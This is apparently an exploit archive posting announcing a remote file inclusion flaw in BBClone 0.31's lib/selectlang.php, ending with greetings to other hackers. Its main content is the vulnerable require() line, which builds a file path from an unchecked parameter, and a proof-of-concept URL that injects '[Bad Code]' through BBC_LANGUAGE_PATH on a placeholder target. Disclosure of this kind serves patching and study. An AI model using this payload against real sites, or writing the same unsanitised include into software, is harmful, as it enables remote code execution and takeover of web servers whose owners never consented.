BBClone 0.31 (selectlang.php) Remote File Inclusion Vulnerability

------------------------------------------------------------------------------------------------------------------------ Script:bbclone Affected Version:0.31 Downlaoad:http://sindominio.net/ayuda/bbclone-0.31-esp.zip ------------------------------------------------------------------------------------------------------------------------ Author:Dr Max Virus ------------------------------------------------------------------------------------------------------------------------ Bug in (lib/selectlang.php) Vul Code; require($BBC_LANGUAGE_PATH . $BBC_LANGUAGE . ".php"); ------------------------------------------------------------------------------------------------------------------------ POC: http://[target]/[path]/lib/selectlang.php?BBC_LANGUAGE_PATH=[Bad Code] ------------------------------------------------------------------------------------------------------------------------ Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk ------------------------------------------------------------------------------------------------------------------------